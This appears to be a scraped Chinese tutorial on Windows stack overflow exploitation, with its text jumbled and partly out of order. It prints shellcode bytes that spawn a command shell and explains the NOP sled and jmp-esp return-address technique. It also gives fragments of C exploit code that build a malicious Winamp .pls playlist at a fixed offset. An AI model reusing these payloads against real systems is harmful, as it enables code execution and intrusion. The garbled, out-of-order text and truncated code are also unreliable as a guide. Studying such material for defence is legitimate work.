windows系統(tǒng)下的堆棧溢出(文件)
【正文】 了。 對上面的算法進行優(yōu)化，現(xiàn)在我們可以寫出 shellcode如下： char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }。 ret = (int *)amp。 //修改 main（）的返回地址為 shellcode的開始地址。理論上，你已經(jīng)具備了利用堆棧溢出的 能力了，下面，我們通過實戰(zhàn)來真正掌握他。事實上用戶進程的加載位置為：，數(shù)據(jù)地址和堆棧指針都會含有 0,那么我們的返回地址就必然含有 0。 其次， windows 在執(zhí)行 mov esp， ebp的時候，把廢棄不用的堆棧用隨機數(shù)據(jù)填充（實驗所得，機制如何，大家一起研究），因此我們的 shellcode 可能會被覆蓋?。@下完蛋了，我們的shellcode 都沒了，返回地址正確又有什么用？？ 所以，我們的 shellcode必須改成如下方式：NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)溢出發(fā)生之后，堆棧的布局如下： 內(nèi)存底部 內(nèi)存頂部 buffer EBP ret [NNNNNNNNNNN][N ] [A ]SSSS ^amp。 但是，剛才我們說過 A里面是含有 0字符的，這樣的溢出字符串，在 A處就被0 阻斷，根本無法到 shellcode。事實上，這一技巧開創(chuàng)了一個嶄新的 windows 緩沖區(qū)溢出的思路。 但是他怎么才能知道我們的 shellcode的地址呢？ 答案是：用寄存器。這些寄存器的值，我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和堆棧的詳細(xì)資料。其他的 dll，比如 msvcrt。 好，那么我們的 shellcode最終為： NNNNNNNNNNNNNNNASSSSSSSS 其中： N為 NOP指令 A 為指向某一條 call/jmp 指令的地址，這個 call/jmp 指令位于系統(tǒng)核心內(nèi)存 0x80000000，這個 call/jmp指令具體的內(nèi)容，需要根據(jù)我們 exploit出來的結(jié)果分析得知。 winamp 的 playlist 支持文件 *.pls 存放playlist。 char eip[8] = 。x640。 case 1: buffer[x] = 39。 case 2: buffer[x] = 39。 case 3: buffer[x] = 39。 } } buffer[x]=0。 fprintf(file, %s, buffer)。 fclose(file)。我就不講了，其中 buffer 的內(nèi)容為測試用的字符串。 大家現(xiàn)在知道我們的溢出字符串中，返回地址 A應(yīng)該在串的 580處，那么我們應(yīng)該讓他使用什么 call/jmp 指令以達到shellcode呢？ 看看寄存器 dump，我們發(fā)現(xiàn) ESP 里面的內(nèi)容是 41415750，恰好是 4141574c之后的第一個數(shù)。ok，問題解決，我們現(xiàn)在可以確定在buffer〔 580〕處，寫入四個字節(jié)：\xa3\x95\xf7\xbf.這就是我們的溢出字符串中的返回地址 A。 C語言的算法描述是： LoadLibrary()。 push ebp mov ebp,esp mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//exit push edx xor eax,eax push eax call dword ptr[ebp04h] 簡單說一下， 是運行 C 語言標(biāo)準(zhǔn)庫函數(shù)所必須的一個動態(tài)鏈接庫。 他的代碼在 中，是被winamp 加載了的 dll。 好了，所有的算法都討論完了，下一講我們就來實現(xiàn)一個 exploit ◆最后的完善 我們把前面寫的測試程序稍加改動就是一個 exploit程序： include int main() { char buffer[640]。 for(int x=0。 fprintf(file, [playlist]\n)。 fprintf(file, %s, shellcode)。 return 0。 這個時候， s－ ice 就又派上用場了，跟蹤一下看看： ctrld bpx bff795a3(就是我們的 jmp esp) x 好，現(xiàn)在運行 winamp，打開文件,被 s－ ice 攔下，開始跟蹤。 我在第 4 講第一節(jié)就說過對這種問題的對策。 FILE *file。 } buffer[x]=0。 fprintf(file, %s, buffer)。 fclose(file)。我們可以看到， windows 下的堆棧溢出攻擊和 unix下的，原理基本相同。事實上，這也導(dǎo)致了 windows下的 exploit不具有通用性。甚至可能不同語言版本的 windows，其核心 dll的版本都不同。但是，這也無法消除對 LoadLibrary和 GetProcAddress 的地址的直接引用，因為這兩個是 shellcode中最基本的函數(shù)，自然就導(dǎo)致了對 版本的依賴。當(dāng)時我們實驗 的exploit總是沒有成功， client端執(zhí)行完了以后 server 端我們經(jīng)?？吹?access violation的框，就是因為 shellcode的版本依賴 問題導(dǎo)致的。他的文章現(xiàn)在還在，大家可以去精華區(qū)看看。因為 NT 里面有很多系統(tǒng)進程，都是以system 賬號啟動的。去年，我研究 的溢出之后，發(fā)現(xiàn)帶有問題的 windows 網(wǎng)絡(luò)服務(wù)程序?qū)е铝?windows 堆棧溢出，可以幫助我們獲得遠(yuǎn)程控制。在此感謝，同時感謝以前一起討論過 windows 系列堆棧溢出的朋友 littleworm,xsz它們。 讓我們以下面這句話共勉： If you assume that there39。希望大家在看了之后，能夠?qū)?windows 堆棧溢出技術(shù)有一定了了解。 在后續(xù)的研究中，有時候因為困難幾乎要放棄。當(dāng)然可以為所欲為了。我也曾經(jīng)以為 windows 的堆棧溢出攻擊是不必要的。 說一句題外話： 很多人運行了堆棧溢出 exploit以后沒有成功，就認(rèn)為自己的機器沒有毛病。運行 sice，跟蹤你的 shellcode，會發(fā)現(xiàn)問題的根源的。 為了解決這個問題，我想我們可以盡量減少固定地址的使用。不同的 dll版本，里面的庫函數(shù)的偏移地址就可能（注意：是可能）不同。這也是我在寫完 linux下的堆棧溢出系列之后，另外寫windows 系列的原因。 return 0。 fprintf(file, %s, sploit)。 fprintf(file, [playlist]\n)。x580。 char eip[8] = \xa3\x95\xf7\xbf。這是怎么回事？應(yīng)該是 \xB8\x24\x98\x01\x78 呀，\x01到什么地方去了？ 看來敵人把輸入的溢出字符串作樂處理，把不能作為文件名的字符都作為 0處理 了（事實上這是 win32api函數(shù)作的處理）。出來了嗎？ 哎呀，怎么又是錯誤？ WINAMP 在
公司管理相關(guān)推薦
鄂ICP備17016276號-1